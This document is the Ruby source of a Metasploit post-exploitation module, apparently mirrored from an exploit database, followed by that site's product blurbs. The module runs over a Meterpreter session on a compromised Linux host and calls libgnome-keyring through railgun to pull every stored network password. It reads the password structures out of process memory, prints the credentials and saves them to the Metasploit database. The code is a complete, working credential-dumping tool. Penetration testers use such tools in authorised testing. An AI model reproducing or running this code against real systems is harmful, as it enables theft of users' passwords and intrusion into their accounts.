##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'bindata'
class MetasploitModule < Msf::Post
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gnome-Keyring Dump',
'Description' => %q{
Use libgnome-keyring to extract network passwords for the current user.
This module does not require root privileges to run.
},
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_native_arch
stdapi_net_resolve_host
stdapi_railgun_api
stdapi_railgun_memread
]
}
}
)
)
end
class GList_x64 < BinData::Record
endian :little
uint64 :data_ptr
uint64 :next_ptr
uint64 :prev_ptr
end
class GList_x86 < BinData::Record
endian :little
uint32 :data_ptr
uint32 :next_ptr
uint32 :prev_ptr
end
# https://developer.gnome.org/glib/unstable/glib-Doubly-Linked-Lists.html#GList
def struct_glist
session.native_arch == ARCH_X64 ? GList_x64 : GList_x86
end
class GnomeKeyringNetworkPasswordData_x64 < BinData::Record
endian :little
uint64 :keyring
uint64 :item_id
uint64 :protocol
uint64 :server
uint64 :object
uint64 :authtype
uint64 :port
uint64 :user
uint64 :domain
uint64 :password
end
class GnomeKeyringNetworkPasswordData_x86 < BinData::Record
endian :little
uint32 :keyring
uint32 :item_id
uint32 :protocol
uint32 :server
uint32 :object
uint32 :authtype
uint32 :port
uint32 :user
uint32 :domain
uint32 :password
end
# https://developer.gnome.org/gnome-keyring/stable/gnome-keyring-Network-Passwords.html#GnomeKeyringNetworkPasswordData
def struct_gnomekeyringnetworkpassworddata
session.native_arch == ARCH_X64 ? GnomeKeyringNetworkPasswordData_x64 : GnomeKeyringNetworkPasswordData_x86
end
def init_railgun_defs
unless session.railgun.libraries.key?('libgnome_keyring')
session.railgun.add_library('libgnome_keyring', 'libgnome-keyring.so.0')
end
session.railgun.add_function(
'libgnome_keyring',
'gnome_keyring_is_available',
'BOOL',
[],
nil,
'cdecl'
)
session.railgun.add_function(
'libgnome_keyring',
'gnome_keyring_find_network_password_sync',
'DWORD',
[
['PCHAR', 'user', 'in'],
['PCHAR', 'domain', 'in'],
['PCHAR', 'server', 'in'],
['PCHAR', 'object', 'in'],
['PCHAR', 'protocol', 'in'],
['PCHAR', 'authtype', 'in'],
['DWORD', 'port', 'in'],
['PBLOB', 'results', 'out']
],
nil,
'cdecl'
)
session.railgun.add_function(
'libgnome_keyring',
'gnome_keyring_network_password_list_free',
'VOID',
[['LPVOID', 'list', 'in']],
nil,
'cdecl'
)
end
def get_string(address, chunk_size = 64, max_size = 256)
data = ''
loop do
data << session.railgun.memread(address + data.length, chunk_size)
break if data.include?("\x00") || (data.length >= max_size)
end
if data.include?("\x00")
idx = data.index("\x00")
data = data[0...idx]
end
data[0...max_size]
end
def get_struct(address, record)
record = record.new
record.read(session.railgun.memread(address, record.num_bytes))
Hash[record.field_names.map { |field| [field, record[field]] }]
end
def get_list_entry(address)
glist_struct = get_struct(address, struct_glist)
glist_struct[:data] = get_struct(glist_struct[:data_ptr], struct_gnomekeyringnetworkpassworddata)
glist_struct
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: opts[:protocol],
workspace_id: myworkspace_id
}
credential_data = {
post_reference_name: refname,
session_id: session_db_id,
origin_type: :session,
private_data: opts[:password],
private_type: :password,
username: opts[:username]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def resolve_host(name)
address = @hostname_cache[name]
return address unless address.nil?
vprint_status("Resolving hostname: #{name}")
begin
address = session.net.resolve.resolve_host(name)[:ip]
rescue Rex::Post::Meterpreter::RequestError
end
@hostname_cache[name] = address
end
def resolve_port(service)
port = {
'ftp' => 21,
'http' => 80,
'https' => 443,
'sftp' => 22,
'ssh' => 22,
'smb' => 445
}[service]
port.nil? ? 0 : port
end
def run
init_railgun_defs
@hostname_cache = {}
libgnome_keyring = session.railgun.libgnome_keyring
unless libgnome_keyring.gnome_keyring_is_available['return']
fail_with(Failure::NoTarget, 'libgnome-keyring is unavailable')
end
result = libgnome_keyring.gnome_keyring_find_network_password_sync(
nil, # user
nil, # domain
nil, # server
nil, # object
nil, # protocol
nil, # authtype
0, # port
session.native_arch == ARCH_X64 ? 8 : 4
)
list_anchor = result['results'].unpack(session.native_arch == ARCH_X64 ? 'Q' : 'L')[0]
fail_with(Failure::NoTarget, 'Did not receive a list of passwords') if list_anchor == 0
entry = { next_ptr: list_anchor }
loop do
entry = get_list_entry(entry[:next_ptr])
pw_data = entry[:data]
# resolve necessary string fields to non-empty strings or nil
%i[server user domain password protocol].each do |field|
value = pw_data[field]
pw_data[field] = nil
next if value == 0
value = get_string(value)
next if value.empty?
pw_data[field] = value
end
# skip the entry if we don't at least have a username and password
next if pw_data[:user].nil? || pw_data[:password].nil?
printable = ''
printable << "#{pw_data[:protocol]}://" unless pw_data[:protocol].nil?
printable << "#{pw_data[:domain]}\\" unless pw_data[:domain].nil?
printable << "#{pw_data[:user]}:#{pw_data[:password]}"
unless pw_data[:server].nil?
printable << "@#{pw_data[:server]}"
printable << ":#{pw_data[:port]}"
end
print_good(printable)
pw_data[:port] = resolve_port(pw_data[:protocol]) if (pw_data[:port] == 0) && !pw_data[:protocol].nil?
next if pw_data[:port] == 0 # can't report without a valid port
ip_address = resolve_host(pw_data[:server])
next if ip_address.nil? # can't report without an ip address
report_cred(
ip: ip_address,
port: pw_data[:port],
protocol: 'tcp',
service_name: pw_data[:protocol],
username: pw_data[:user],
password: pw_data[:password]
)
break unless (entry[:next_ptr] != list_anchor) && (entry[:next_ptr] != 0)
end
libgnome_keyring.gnome_keyring_network_password_list_free(list_anchor)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation